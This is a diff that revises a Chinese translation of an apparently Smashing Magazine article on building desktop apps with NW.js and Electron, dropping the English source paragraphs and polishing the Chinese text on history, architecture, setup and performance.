-> It’s hard to sum up why you should consider creating a desktop app because there are so many kinds of apps you could create. It really depends on what you’d like to achieve, how advantageous you find the additional APIs, and how much offline usage would enhance the experience for your users. For my team, it was a no-brainer because we were building a [chat application](https://teamwork.com/chat). On the other hand, a connection-dependent desktop app that doesn’t really have any desktop integration should be a web app and a web app alone. It wouldn’t be fair to expect a user to download your app (which includes a browser of its own and Node.js) when they wouldn’t get any more value from it than from visiting a URL of yours in their favorite browser.
+很难总结为什么你应该考虑开发桌面应用，因为真的有很多类型的应用你可以创建。这非常取决于你想要达到什么目的，API 是否足够有利于开发，离线使用将多大程度上增强用户体验。在我的团队，这些都是毋庸置疑的，因为我们在开发一个[聊天应用程序](https://teamwork.com/chat)。另一方面来说，一个依赖于网络而没有任何与系统集成的桌面应用应该是一个 web 应用，并且只是 web 应用。当用户并不能从桌面应用中获得比在浏览器中访问一个网址更多的价值的时候，期待用户下载你的应用（其中自带浏览器以及 Node.js）是不公平的。
 
-很难概括你应该考虑开发桌面应用的原因，因为真的有很多很多东西你可以做。这非常取决于你想要达到什么，API 是否足够有利于开发，离线使用将多大程度上改进用户体验。在我的团队，这些都是毋庸置疑的，因为我们在开发一个[即时通讯应用](https://teamwork.com/chat)。另一方面来说，一个依赖于网络而没有任何与系统整合的桌面应用应该是一个 web 应用，并且仅仅是一个 web 应用。当用户并不能从桌面应用中获得比在浏览器中访问一个网址更多的价值的时候，期待用户下载你的应用（其中自带浏览器以及 Node.js）是不公平的。
-
-> Instead of describing the desktop app you personally should build and why, I’m hoping to spark an idea or at least spark your interest in this article. Read on to see just how easy it is to create powerful desktop apps using web technology and what that can afford you over (or alongside of) creating a web app.
-
-比起描述你个人应该建造的桌面应用以及为什么建造，我更希望的是激发一个想法，或者只是激发你对这篇文章的兴趣。继续往下读来看看用 web 技术构造一个强大的桌面应用是多么简单，以及它将给予你的超过（或者相同）创造一个 web 应用。
+比起描述你个人应该建造的桌面应用以及为什么建造，我更希望的是激发一个想法，或者只是激发你对这篇文章的兴趣。继续往下读来看看用 web 技术构造一个强大的桌面应用是多么简单，以及需要承受的困难超过（或者相同）创造一个 web 应用。
 
 ### NW.js
 
-> Desktop applications have been around a long time but you don’t have all day, so let’s skip some history and begin in Shanghai, 2011. Roger Wang, of Intel’s Open Source Technology Center, created node-webkit; a proof-of-concept Node.js module that allowed the user to spawn a WebKit browser window and use Node.js modules within `<script>` tags.
-
-桌面应用已经有很长一段时间了，我知道你没有很多时间，所以我们跳过一些历史，从2011年的上海开始。来自 Intel 开源技术中心的 Roger Wang 创造了 node-webkit，一个概念验证的 Node.js 模块，这个模块可以让用户生成一个自带 WebKit 内核的浏览器窗口并直接在 `<script>` 使用 Node.js 模块。
+桌面应用已经有很长一段时间了，我知道你没有很多时间，所以我们跳过一些历史，从2011年的上海开始。来自 Intel 开源技术中心的 Roger Wang 创造了 node-webkit，一个概念验证的 Node.js 模块，这个模块可以让用户生成一个自带 WebKit 内核的浏览器窗口并直接在 `<script>` 中使用 Node.js 模块。
 
-> After some progress and a switch from WebKit to Chromium (the open-source project Google Chrome is based on), an intern named Cheng Zhao joined the project. It was soon realized that an app runtime based on Node.js and Chromium would make a nice framework for building desktop apps. The project went on be quite popular.
-
-经过一段时间的开发以及将内核从 WebKit 转换到 Chromium（Google Chrome 基于这个开源项目开发），一个叫 Cheng Zhao 的实习生加入了这个项目。不久就有人意识到一个基于 Node.js 和 Chromium 运行的应用是一个很好的建造桌面应用的框架。于是这个项目变得很火。
-
-> *Note*: node-webkit was later renamed NW.js to make it a bit more generic because it no longer used Node.js or WebKit. Instead of Node.js, it was based on io.js (the Node.js fork) at the time, and Chromium had moved on from WebKit to its own fork, Blink.
+经过一段时间的开发以及将内核从 WebKit 转换到 Chromium（Google Chrome 基于这个开源项目开发），一个叫 Cheng Zhao 的实习生加入了这个项目。不久就有人意识到一个基于 Node.js 和 Chromium 运行的应用是一个很好的建造桌面应用的框架。于是这个项目变得颇受欢迎。
 
 *注意*：node-webkit 后来更名为 NW.js，是因为项目不再使用 Node.js 以及 WebKit，所以需要改一个更通用的名字。Node.js 的替换选择是 io.js （Node.js fork 版本），Chromium 也已经从 WebKit 转为它自己的版本，Blink。
 
-> So, if you were to download an NW.js app, you would actually be downloading Chromium, plus Node.js, plus the actual app code. Not only does this mean a desktop app can be created using HTML, CSS and JavaScript, but the app would also have access to all of the Node.js APIs (to read and write to disk, for example), and the end user wouldn’t know any better. That’s pretty powerful, but how does it work? Well, first let’s take a look at Chromium.
-
-所以，如果现在去下载一个 NW.js 应用，实际上是下载了 Chromium，Node.js，以及真正的 app 的代码。这不仅意味着桌面应用也可以使用 HTML，CSS，JavaScript 来写，也意味着 app 可以直接使用所有 Node.js 的 API（读取或写入硬盘，比方说），而对于终端用户，没有比这更好的选择了。非常强大对吧，但是它是怎么实现的呢？我们先来了解一下 Chromium。
+所以，如果现在去下载一个 NW.js 应用，实际上是下载了 Chromium，Node.js，以及真正的 app 的代码。这不仅意味着桌面应用也可以使用 HTML，CSS，JavaScript 来写，也意味着 app 可以直接使用所有 Node.js 的 API（比如读取或写入硬盘），而对于终端用户，没有比这更好的选择了。这看起来非常强大，但是它是怎么实现的呢？我们先来了解一下 Chromium。
 
 ![Chromium diagram](https://www.smashingmagazine.com/wp-content/uploads/2017/01/chromiumDiagram-preview-opt.png)
 
-> There is a main background process, and each tab gets its own process. You might have seen that Google Chrome always has at least two processes in Windows’ task manager or macOS’ activity monitor. I haven’t even attempted to arrange the contents of the main process here, but it contains the Blink rendering engine, the V8 JavaScript engine (which is what Node.js is built on, too, by the way) and some platform APIs that abstract native APIs. Each isolated tab or renderer process has access to the JavaScript engine, CSS parser and so on, but it is completely separate to the main process for fault tolerance. Renderer processes interact with the main process through interprocess communication (IPC).
-
-Chromium 有一个主要的后台进程，每个标签页也会有自己的进程。你可能注意到 Google Chrome 在 Windows 的任务管理器或者 macOS 的活动监视器上总是至少存在两个进程。我并没有尝试去整理主后台进程相关的内容，但是它包括了Blink 渲染引擎，V8 JavaScript 引擎（Node.js 也是基于此）以及一些从原生 API 抽象出来的平台 APIs。每个独立的标签页或渲染的过程都可以使用 JavaScript 引擎，CSS 解析器等，但为了提高容错性，它们又和主进程是完全隔离的。渲染进程与主进程之前是用进程间通信（interprocess communication, IPC）来进行通讯。
+Chromium 有一个主要的后台进程，每个标签页也会有自己的进程。你可能注意到 Google Chrome 在 Windows 的任务管理器或者 macOS 的活动监视器上总是至少存在两个进程。我并没有尝试在这里安排穿插主后台进程相关的内容，但是它包括了 Blink 渲染引擎，V8 JavaScript 引擎（也就是构建了 Node.js ）以及一些从原生 API 抽象出来的平台 API。每个独立的标签页或渲染的过程都可以使用 JavaScript 引擎，CSS 解析器等，但为了提高容错性，它们又和主进程是完全隔离的。渲染进程与主进程之前是用进程间通信（IPC）来进行通讯。
 
 ![NW.js diagram](https://www.smashingmagazine.com/wp-content/uploads/2017/01/nwjsDiagram-preview-opt.png)
 
 
 
-> This is roughly what an NW.js app looks like. It’s basically the same, except that each window has access to Node.js now as well. So, you have access to the DOM and you can require other scripts, node modules you’ve installed from npm, or built-in modules provided by NW.js. By default, your app has one window, and from there you can spawn other windows.
-
-大致上这就是一个 NW.js app 的结构，它和 Chromium 基本一致，除了每个窗口也可以访问 Node.js。现在，你可以访问 DOM，可以访问其他脚本代码，npm 安装的包，或者 NW.js 中自带的包。你的 app 默认只有一个窗口，但从这一个窗口，可以延伸出其他窗口。
-
-> Creating an app is really easy. All you need is an HTML file and a `package.json`, like you would have when working with Node.js. You can create a default one by running `npm init --yes`. Typically, a `package.json` would point a JavaScript file as the “main” file for the module (i.e. using the `main` property), but with NW.js you need to edit the `main` property to point to your HTML file.
+大致上这就是一个 NW.js app 的结构，它和 Chromium 基本一致，除了每个窗口也可以访问 Node.js。现在，你可以访问 DOM，可以访问其他脚本，npm 安装的模块，或者 NW.js 提供的内置的模块。你的 app 默认只有一个窗口，但从这一个窗口，可以生成其他窗口。
 
-创建一个应用很简单，只需要一个 HTML 文件和一个 `package.json` 文件，就像你平时使用 Node.js 时那样。你可以使用 `npm init --yes` 新建一个默认的。一般来说，`package.json` 会指定一个 JavaScript 文件作为模块的「主要」文件（也就是使用 `main` 属性），但是如果是 NW.js，你需要去编辑一下 `main` 指向你的 HTML 文件。
+创建一个应用很简单，只需要一个 HTML 文件和一个 `package.json` 文件，就像你平时使用 Node.js 时那样。你可以使用 `npm init --yes` 新建一个默认的。一般来说，`package.json` 会指定一个 JavaScript 文件作为模块的入口（也就是使用 `main` 属性），但是如果是 NW.js，你需要去编辑一下 `main` 指向你的 HTML 文件。
 
 ```
 {
@@ -108,40 +75,26 @@ Chromium 有一个主要的后台进程，每个标签页也会有自己的进
 </html>
 ```
 
-> Once you install the official `nw` package from npm (by running `npm install -g nw`), you can run `nw .` within the project directory to launch your app.
-
 只要你安装好了 `nw`（通过 `npm install -g nw`），你就可以在项目目录下执行 `nw .` 启动 app，然后就可以看到下图。
 
 ![Example app screenshot](https://www.smashingmagazine.com/wp-content/uploads/2017/01/nwjsHelloWorld-preview-opt.png)
 
-> It’s as easy as that. So, what happened here was that NW.js opened the initial window, loading your HTML file. I know this doesn’t look like much, but it’s up to you add some markup and styles, just like you would in a web app.
-
-就是这么简单，NW.js 初始了第一个窗口，加载了你的 HTML 文件，虽然这看起来并没有什么，但接下来就是你来添加标签及样式了，就和在 web 应用中一样。
-
-> You could drop the window bar and chrome if you like, or create your own custom frame. You could have semi to fully transparent windows, hidden windows and more. I took this a bit further recently and [resurrected Clippy](http://engineroom.teamwork.com/resurrecting-clippy/) using NW.js. There’s something weirdly satisfying about seeing Clippy on macOS or Windows 10.
+就是这么简单。NW.js 初始化了第一个窗口，加载了你的 HTML 文件，虽然这看起来并没有什么，但接下来就是你来添加标签及样式了，就和在 web 应用中一样。
 
-你可以凭自己喜好去掉窗口条，或者制作自己的框架。你可以有半透明或全透明的窗口，可以有隐藏窗口或者更多。我最近试了一下用 NW.js 复活了[回形针](http://engineroom.teamwork.com/resurrecting-clippy/) Office 助手（一般昵称 Clippy）。能看到它同时在 macOS 或者 Windows 10 中复活有种奇妙的满足感。
+你可以凭自己喜好去掉窗口栏，构建自己的框架模板。你可以有半透明或全透明的窗口，可以有隐藏窗口或者更多。我最近试了一下用 NW.js 复活了[回形针](http://engineroom.teamwork.com/resurrecting-clippy/) Office 助手（一般昵称 Clippy）。能看到它同时在 macOS 或者 Windows 10 中复活有种奇妙的满足感。
 
 ![Screenshot of clippy.desktop on macOS](https://www.smashingmagazine.com/wp-content/uploads/2017/01/clippy-preview-opt.png)
 
-> So, you get to write HTML, CSS and JavaScript. You can use Node.js to read and write to disk, execute system commands, spawn other executables and more. Hypothetically, you could build a multiplayer roulette game over WebRTC that deletes some of the users’ files randomly, if you wanted.
-
-现在你可以写 HTML，CSS 和 JavaScript 了，你可以使用 Node.js 读取或写入硬盘，执行系统命令，生成其他可执行文件等等。设想一下，你可以通过 WebRTC 造一个多玩家的轮盘赌游戏，随机删除其他人的文件。
+现在你可以写 HTML，CSS 和 JavaScript 了，你可以使用 Node.js 读取或写入硬盘，执行系统命令，生成其他可执行文件等等。设想一下，你甚至可以通过 WebRTC 造一个多玩家的轮盘赌游戏，随机删除其他人的文件。
 
 ![Bar graph showing the number of modules per major package manager](https://www.smashingmagazine.com/wp-content/uploads/2017/01/moduleCounts-preview-opt.png)
 
-> You get access not only to Node.js’ APIs but to all of npm, which has over 350,000 modules now. For example, [auto-launch](https://github.com/Teamwork/node-auto-launch) is an open-source module we created at [Teamwork.com](https://www.teamwork.com/) to launch an NW.js or Electron app on startup.
-
 你不仅可以使用 Node.js 的 APIs，还有所有 npm 的包，现在已经有超过35万个了。例如，[auto-launch](https://github.com/Teamwork/node-auto-launch) 是我们在 [Teamwork.com](https://www.teamwork.com/) 做的开源包，用来开机启动 NW.js 或者 Electron 应用。
 
-> Node.js also has what’s known as “native modules,” which, if you really need to do something a bit lower level, allows you to create modules in C or C++.
-
 如果你需要做一些偏底层的事，Node.js 也有原生的模块，能让你使用 C 或者 C++创建模块。
 
-> To top it all off, NW.js exposes APIs that effectively wrap native APIs, allowing you to integrate closely with the desktop environment. You can have a tray icon, open a file or URL in the default system application, and a lot lot more. All you need to do to trigger a notification is use the HTML5 notification API:
-
-总之，NW.js 高效包装了原生的 APIs，让你可以简单的与桌面环境整合。
-比如你有一个托盘图标，使用系统默认应用打开一个文件或者 URL 之类的。你需要做的是使用 HTML5 notification 的 API 触发一个 notification。
+总之，NW.js 高效包装了原生的 API，让你可以简单的与桌面环境集成。
+比如你有一个托盘图标，使用系统默认应用打开一个文件或者 URL 之类的。你需要做的是使用 HTML5 notification 的 API 触发一个通知：
 
 ```
 new Notification('Hello', {
@@ -151,51 +104,33 @@ new Notification('Hello', {
 
 ### Electron
 
-> You might recognize GitHub’s text editor, Atom, below. Whether you use it or not, Atom was a game-changer for desktop apps. GitHub started development of Atom in 2013, soon recruited Cheng Zhao, and forked node-webkit as its base, which it later open-sourced under the name atom-shell.
-
 你可能认出来了，下图是 GitHub 开发的编辑器，Atom。不管你是否使用 Atom，它的出现对于桌面应用都是一个颠覆者。GitHub 从 2013 年开始开发 Atom，后来 Cheng Zhao 加入，fork 了 node-webkit 作为基础，后来开源名称为 atom-shell。
 
 ![Atom screenshot](https://www.smashingmagazine.com/wp-content/uploads/2017/01/atom-preview-opt.png)
 
-> *Note*: It’s disputed whether Electron is a fork of node-webkit or whether everything was rewritten from scratch. Either way, it’s effectively a fork for the end user because the APIs were almost identical.
-
-*注意*：对于 Electron 只是 node-webkit 的 fork，还是一切从头重新做的，是很有争议的。但无论如何，对于终端用户是一个高效的 fork，因为 API 几乎一致。
+*注意*：对于 Electron 只是 node-webkit 的 fork，还是一切从头重新做的，是很有争议的。但无论哪种方式，最终都成为终端用户的一个分支，因为 API 几乎完全一致。
 
-> In making Atom, GitHub improved on the formula and ironed out a lot of the bugs. In 2015, atom-shell was renamed Electron. Since then it has hit version 1.0, and with GitHub pushing it, it has really taken off.
-
-在开发 Atom 的过程中，GitHub 改进了一些方案，也解决了很多 bug。2015年，atom-shell 正式更名为 Electron。它的版本已经更新到 1.0 以上（译注：最新正式版本为v1.3.14），并且因为 GitHub 的推行，已经得到很大的发展。
+在开发 Atom 的过程中，GitHub 改进了一些方案，也解决了很多 bug。2015年，atom-shell 正式更名为 Electron。它的版本已经更新到 1.0 以上（译注：最新正式版本为v1.3.14），并且因为 GitHub 的推行，它已经真正发展壮大了。
 
 ![Logos of projects that use Electron](https://www.smashingmagazine.com/wp-content/uploads/2017/01/logos-preview-opt.png)
 
 > As well as Atom, other notable projects built with Electron include Slack, Visual Studio Code, Brave, HyperTerm and Nylas, which is really doing some cutting-edge stuff with it. Mozilla Tofino is an interesting one, too. It was an internal project at Mozilla (the company behind Firefox), with the aim of radically improving web browsers. Yeah, a team within Mozilla chose Electron (which is based on Chromium) for this experiment.
 
-和 Atom 一样，其他用 Electron 开发的有名项目包括 [Slack](https://slack.com/)、[Visual Studio Code](https://code.visualstudio.com/)、 [Brave](https://www.brave.com/)、[HyperTerm](https://hyper.is/)、[Nylas](https://www.nylas.com/)，都是在做着一些前沿的东西。Mozilla Tofino 也是其中一个很有趣的，它是 Mozilla （ FireFox 的公司）的一个内部项目，目标是彻底地优化浏览器。嗯哼，Mozilla 的团队选择了 Electron （基于 Chromium ）来做这个实验。
-
-> ### How Does It Differ?
+和 Atom 一样，其他用 Electron 开发的有名项目包括 [Slack](https://slack.com/)、[Visual Studio Code](https://code.visualstudio.com/)、 [Brave](https://www.brave.com/)、[HyperTerm](https://hyper.is/)、[Nylas](https://www.nylas.com/)，真的是在做着一些尖端的东西。Mozilla Tofino 也是其中一个很有趣的，它是 Mozilla（ FireFox 的公司）的一个内部项目，目标是彻底优化浏览器。你没看错，Mozilla 的团队选择了 Electron （基于 Chromium ）来做这个实验。
 
-### 有什么不同呢？
+### Electron 有什么不同呢？
 
-> But how is it different from NW.js? First of all, Electron is less browser-oriented than NW.js. The entry point for an Electron app is a script that runs in the main process.
-
-但是 Electron 和 NW.js 有什么不同？首先，Electron 没有 NW.js 那么面向浏览器，Electron app 的入口是一个在主进程中运行的脚本。
+那么 Electron 和 NW.js 有什么不同？首先，Electron 没有 NW.js 那么面向浏览器，Electron app 的入口是一个在主进程中运行的脚本。
 
 ![Electron architecture diagram](https://www.smashingmagazine.com/wp-content/uploads/2017/01/electronDiagram-preview-opt-1.png)
 
-> The Electron team patched Chromium to allow for the embedding of multiple JavaScript engines that could run at the same time. So, when Chromium releases a new version, they don’t have to do anything.
-
-Electron 团队修补了 Chromium 使之可以嵌入多个同时运行的 JavaScript 引擎，所以当 Chromium 发布新版本的时候，他们不需要做任何事。
+Electron 团队修补了 Chromium 以便嵌入多个可以同时运行的 JavaScript 引擎，所以当 Chromium 发布新版本的时候，他们不需要做任何事。
 
-> *Note*: NW.js hooks into Chromium a little differently, and this was often blamed on the fact NW.js wasn’t quite as good at keeping up with Chromium as Electron was. However, throughout 2016, NW.js has released a new version within 24 hours of each major Chromium release, which the team attributes to an organizational shift.
-
-*注意*：NW.js 与 Chromium 的绑定不太一样，造成了 NW.js 经常被指责不如 Electron 那样紧跟 Chromium。不管怎样，整个2016年，NW.js 每次在 Chromium 发布主要版本之后的24小时内发布新版本，这很大程度也归功于团队组织的转变。
-
-> Back to the main process. Your app hasn’t any window by default, but you can open as many windows as you’d like from the main process, each having its own renderer process, just like NW.js.
+*注意*：NW.js 与 Chromium 的绑定不太一样，造成了 NW.js 经常被指责不如 Electron 那样紧跟 Chromium。然而，整个2016年，NW.js 每次在 Chromium 发布主要版本之后的24小时内发布新版本，这很大程度也归功于团队组织转型。
 
 回到主进程的话题，你的应用默认是没有窗口的，但是你可以从主进程开启任意多个窗口，每个窗口和 NW.js 一样有自己的渲染进程。
 
-> So, yeah, the minimum you need for an Electron app is a main JavaScript file (which we’ll leave empty for now) and a `package.json` that points to it. Then, all you need to do is `npm install --save-dev electron` and run `electron .` to launch your app.
-
-那么，当然，创建一个 Electron app，你需要的只是一个 JavaScript 文件（现在暂时只是个空文件）以及一个 `package.json` 文件指向它。然后你只需要执行 `npm install --save-dev electron`，以及 `electron .` 来启动你的 app。
+那么当然，创建一个 Electron app，你需要的只是一个 JavaScript 文件（现在暂时只是个空文件）以及一个 `package.json` 文件指向它。然后你只需要执行 `npm install --save-dev electron`，以及 `electron .` 来启动你的 app。
 
 ```
 {
@@ -213,12 +148,9 @@ Electron 团队修补了 Chromium 使之可以嵌入多个同时运行的 JavaSc
 ```
 
 ```
-// main.js, which is empty
 // main.js 文件，现在是空的
 ```
 
-> Not much will happen, though, because your app hasn’t any window by default. You can open as many windows as you’d like from the main process, each having its own renderer process, just like they’d have in an NW.js app.
-
 没有什么会发生，因为你的 app 没有默认窗口。接下来你可以和 NW.js 一样打开任意多个窗口，每个都有各自的渲染进程。
 
 ```
@@ -248,83 +180,49 @@ app.on('ready', () => {
 </html>
 ```
 
-> You could load a remote URL in this window, but typically you’d create a local HTML file and load that. Ta-da!
-
-你可以在这个窗口中加载一个远程 URL，但是一般来说你会在本地创建 HTML 文件并加载它，好啦~加载出来啦！
+你可以在这个窗口中加载远程 URL，但是一般来说你会在本地创建 HTML 文件并加载它，好啦~加载出来啦！
 
 ![Screenshot of example Electron app](https://www.smashingmagazine.com/wp-content/uploads/2017/01/electronHelloWorld-preview-opt.png)
 
-> Of the built-in modules Electron provides, like the `app` or `BrowserWindow` module used in the previous example, most can only be used in either the main or a renderer process. For example, the main process is where, and only where, you can manage your windows, automatic updates and more. You might want a click of a button to trigger something in your main process, though, so Electron comes with built-in methods for IPC. You can basically emit arbitrary events and listen for them on the other side. In this case, you’d catch the `click` event in the renderer process, emit an event over IPC to the main process, catch it in the main process and finally perform the action.
-
-在 Electron 提供的模块中，像在前面例子中使用的 `app` 和 `BrowserWindow`，大多只能在主进程或者某个渲染进程中使用。比方说，你只能在主进程中管理你的所有窗口，自动更新或者其他。你可能想在主进程中点击一个按钮触发一些事件，Electron 为 IPC 提供了一些内置方法。基本上你可以发出任意的事件，然后在另一端监听它们。这样，你就可以在某一个渲染进程中捕获 `click` 事件，通过 IPC 发出事件信息给主进程，主进程捕获后执行相关操作。
+在 Electron 提供的模块中，像在前面例子中使用的 `app` 和 `BrowserWindow`，大多只能要么在主进程要么在某个渲染进程中使用。比方说，你只能在主进程中管理你的所有窗口，自动更新或者其他。你可能想在主进程中点击一个按钮触发一些事件，Electron 为 IPC 提供了一些内置方法。基本上你可以发出任意的事件，然后在另一端监听它们。这样，你就可以在某一个渲染进程中捕获 `click` 事件，通过 IPC 发出事件信息给主进程，主进程捕获后执行相关操作。
 
-> OK, so Electron has distinct processes, and you have to organize your app slightly differently, but that’s not a big deal. Why are people using Electron instead of NW.js? Well, there’s mindshare. So many related tools and modules are out there as a result of its popularity. The documentation is better. Most importantly, it has fewer bugs and superior APIs.
-
-Electron 有着不同的进程，你需要稍微不同地组织你的 app，但这不算什么。为什么使用 ELectron 而不是 NW.js？这是个影响力的问题，有很多相关的工具和模块是它流行起来的结果。文档更好懂，最重要的是，Electron 的 bug 更少，并且有更好的 API。
-
->Electron’s documentation really is amazing, though — that’s worth emphasizing. Take the [Electron API Demos app](https://github.com/electron/electron-api-demos). It’s an Electron app that interactively demonstrates what you can do with Electron’s APIs. Not only is the API described and sample code provided for creating a new window, for example, but clicking a button will actually execute the code and a new window will open.
+Electron 有着不同的进程，你需要稍微不同地组织你的 app，但这不算什么。为什么使用 Electron 而不是 NW.js？这其中有影响力的因素，有很多相关的工具和模块是它流行起来的结果。 Electron 的文档更好懂，最重要的是，Electron 的 bug 更少，并且有更好的 API。
 
 Electron 的文档非常棒，这值得再强调一下。拿 [Electron API Demos app](https://github.com/electron/electron-api-demos) 来说，这是个 Electron app，它可以交互式的演示出你可通过 Electron 的 API 做到什么。比如新建窗口，它不仅提供了 API 的描述以及示例代码，甚至点击按钮的确可以执行代码并打开新的窗口。（下图就是 Electron API Demos app 的截图）
 
 ![A screenshot of the Electron API Demos app](https://www.smashingmagazine.com/wp-content/uploads/2017/01/apiDemosApp-preview-opt.png)
 
-> If you submit an issue via Electron’s bug tracker, you’ll get a response within a couple of days. I’ve seen three-year-old NW.js bugs, although I don’t hold it against them. It’s tough when an open-source project is written in languages drastically different from the languages known by its users. NW.js and Electron are written mostly in C++ (and a tiny bit of Objective C++) but used by people who write JavaScript. I’m extremely grateful for what NW.js has given us.
-
-如果你给 Electron 提出 issue 说有 bug，你可以在几天之内得到回复。我曾经见过 NW.js 有经过三年都未修复的 bug。我并不是坚决反对他们这么做，开发开源项目的语言和使用这个项目的开发者了解的语言如此的不同，是非常难维护的。NW.js 和 Electron 主要是用 C++ （以及少部分 Objective C++）写的，但是使用这两个项目的人写的是 JavaScript。我非常干净 NW.js 给我的帮助。
+如果你通过 Electron 的 bug 追踪器提交问题，你可以在几天之内得到回复。我曾经见过 NW.js 有经过三年都未修复的 bug，我并不是坚决反对他们这么做，开发开源项目采用的语言和使用这个项目的开发者了解的语言如此的不同，是非常难维护的。NW.js 和 Electron 主要是用 C++ （以及少部分 Objective C++）写的，但是使用这两个项目的人写的是 JavaScript。我非常感激 NW.js 给我的帮助。
 
-> Electron ironed out a few of the flaws in the NW.js APIs. For example, you can bind global keyboard shortcuts, which would be caught even if your app isn’t focused. An example API flaw I ran into was that binding to `Control + Shift + A` in an NW.js app did what you would expect on Windows, but actually bound to `Command + Shift + A` on a Mac. This was intentional but really weird. There was no way to bind to the `Control` key. Also, binding to the `Command` key did bind to the `Command` key but the `Windows` key on Windows and Linux as well. The Electron team spotted these problems (when adding shortcuts to Atom I assume) and quickly updated their globalShortcut API so both of these cases work as you’d expect. To be fair, NW.js has since fixed the former but not the latter.
+Electron 弥补了 NW.js API 上的一些不足。比如，你可以绑定全局的键盘快捷键，这样即使你的 app 并没有获取焦点，键盘事件也可以被捕获。曾经我在 NW.js 的应用中碰到过一个 API 的漏洞，就是我在 Windows 上可以绑定 `Control + Shift + A` 快捷键达到预期目的，但是实际上到了 Mac 上绑定的快捷键是 `Command + Shift + A`，这个的确是有意而为之的，但是仍然很奇怪。没有任何方法可以在 Mac 上绑定 `Control` 键。另外，如果想绑定 `Command` 键，在 Mac 上的确没问题，而到了 Windows 和 Linux 上绑定的却是 `Windows` 键。Electron 的团队发现了这些问题（我猜是在给 Atom 添加快捷键的时候），然后他们很快更新了他们自己的全局快捷键（globalShortcut）API，以上遇到的情况就可以正常工作了。公平起见，NW.js 修复了前一个问题，但一直没有修复后一个。
 
-Electron 弥补了 NW.js API 上的一些不足。比如，你可以绑定全局的键盘快捷键，这样即使你的 app 并没有获取焦点，键盘事件也可以被捕获。曾经我再 NW.js 的应用中碰到过一个 API 的漏洞，就是我在 Windows 上可以绑定 `Control + Shift + A` 快捷键达到预期目的，但是实际上到了 Mac 上绑定的快捷键是 `Command + Shift + A`，这个的确是有意而为之的，但是仍然很奇怪。没有任何方法可以在 Mac 上绑定 `Control` 键。另外，如果想绑定 `Command` 键，在 Mac 上的确没问题，而到了 Windows 和 Linux 上绑定的却是 `Windows` 键。Electron 的团队发现了这些问题（我猜是在给 Atom 添加快捷键的时候），然后他们很快更新了他们自己的全局快捷键（globalShortcut）API，以上遇到的情况就可以正常工作了。公平起见，NW.js 修复了前一个问题，但一直没有修复后一个。
+还有其他一些不同的地方。比如说，之前原生的 notification 通知，在最近的 NW.js 版本中，变成了 Chrome 风格的了。这种通知不会进入到 Mac OS X 或者 Windows 10 的通知中心里面，但是在 npm 上有方便使用的模块解决。如果你想做一些有趣的有关音频或视频的事，建议使用 Electron，因为有些解码器和 NW.js 不兼容。
 
-> There are a few other differences. For instance, in recent NW.js versions, notifications that were previously native are now Chrome-style ones. These don’t go into the notification centre on Mac OS X or Windows 10, but there are modules on npm that you could use as a workaround if you’d like. If you want to do something interesting with audio or video, use Electron, because some codecs don’t work out of the box with NW.js.
+Electron 还添加了一些新的 API，更加多与桌面端的集成，并且内置了自动升级，我稍后会谈到。
 
-还有其他很多不同的地方。再比如说，最近的 NW.js 版本中，之前是原生的 notification 通知，现在变成了 Chrome 风格的了。这种通知不会进入到 Mac OS X 或者 Windows 10 的通知中心里面，更是一个 npm 上的一个你可以方便使用的模块。如果你想做一些有趣的有关音频或视频的事，建议使用 Electron，因为有些解码器在 NW.js 中无法起作用。
+### 但是感觉如何呢？
 
-> Electron has added a few new APIs as well, more desktop integration, and it has built-in support for automatic updates, but I’ll cover that later.
-
-Electron 还添加了一些新的 API，更加多与桌面端的结合，并且内置了自动升级，我稍后会谈到。
-
-### But How Does It Feel? 但是感觉如何呢？
-
-> It feels fine. Sure, it’s not native. Most desktop apps these days don’t look like Windows Explorer or Finder anyway, so users won’t mind or realize that HTML is behind your user interface. You can make it feel more native if you’d like, but I’m not convinced it will make the experience any better. For example, you could prevent the cursor from turning to a hand when the user hovers over a button. That’s how a native desktop app would act, but is that better? There are also projects out there like [Photon Kit](http://photonkit.com/), which is basically a CSS framework like Bootstrap, but for macOS-style components.
-
-感觉很好，当然，它并不是原生的。现在大多数桌面应用并不会长得像资源管理器或者 Finder，所以用户并不介意或者意识到界面背后是 HTML。你愿意的话，你可以使之更像原生应用，但是我并不认为那样会让用户体验更加。比如，你可以在用户滑过按钮时不让鼠标变成手，一般原生的桌面应用都是这样做的，但是这样做有什么好的吗？当然也有像 [Photon Kit](http://photonkit.com/) 这样的类似 Bootstrap 的 CSS 框架，可以做出 macOS 风格的组件。（下图是 Photon Kit 做出的组件 demo）
+感觉很好，当然，它并不是原生的。现在大多数桌面应用并不会长得像资源管理器或者 Finder，所以用户并不介意或者意识到用户界面背后是 HTML。你愿意的话，你可以使之更像原生应用，但是我并不认为那样会让用户体验更好。比如，你可以在用户将鼠标悬停在按钮上时，不让光标变成手，一般原生的桌面应用都是这样做的，但是这样做有什么好的吗？当然也有像 [Photon Kit](http://photonkit.com/) 这样的类似 Bootstrap 的 CSS 框架，可以做出 macOS 风格的组件。（下图是 Photon Kit 做出的组件 demo）
 
 ![Photon app example screenshot](https://www.smashingmagazine.com/wp-content/uploads/2017/01/photon-preview-opt.png)
 
-### Performance 性能
-
-> What about performance? Is it slow or laggy? Well, your app is essentially a web app. It’ll perform pretty much like a web app in Google Chrome. You can create a performant app or a sluggish one, but that’s fine because you already have the skills to analyze and improve performance. One of the best things about your app being based on Chromium is that you get its DevTools. You can debug within the app or remotely, and the Electron team has even created a DevTools extension named [Devtron](http://electron.atom.io/devtron/) to monitor some Electron-specific stuff.
+### 性能
 
 性能表现如何呢？会很慢或者延迟吗？其实你的 app 本质上来说仍然是 web 应用，所以它会和在 Google Chrome 中运行的 web app 非常类似。你可能会创造出高性能的或者反应迟缓的 app，但是没关系，你已经有分析并提升性能的技能了。app 基于 Chromium 最好的其中一点就是你可以使用它的开发者工具。你可以在 app 内调试或者远程调试，Electron 团队也开发了一款开发者工具的插件叫 [Devtron](http://electron.atom.io/devtron/) 来监控一些 Electron 特定的信息。
 
-> Your desktop app can be more performant than a web app, though. One thing you could do is create a worker window, a hidden window that you use to perform any expensive work. Because it’s an isolated process, any computation or processing going on in that window won’t affect rendering, scrolling or anything else in your visible window(s).
-
-你的桌面应用应该比 web 应用的性能更高。因为你可以创建一个 worker 窗口，这是一个隐藏的窗口，专门用来做一些复杂耗能的事。因为每个进程都是隔离的，所以任何在这个窗口中进行的计算或者处理不会影响到其他可见窗口的渲染进程，上下滚动等等。
-
-> Keep in mind that you can always spawn system commands, spawn executables or drop down to native code if you really need to (you won’t).
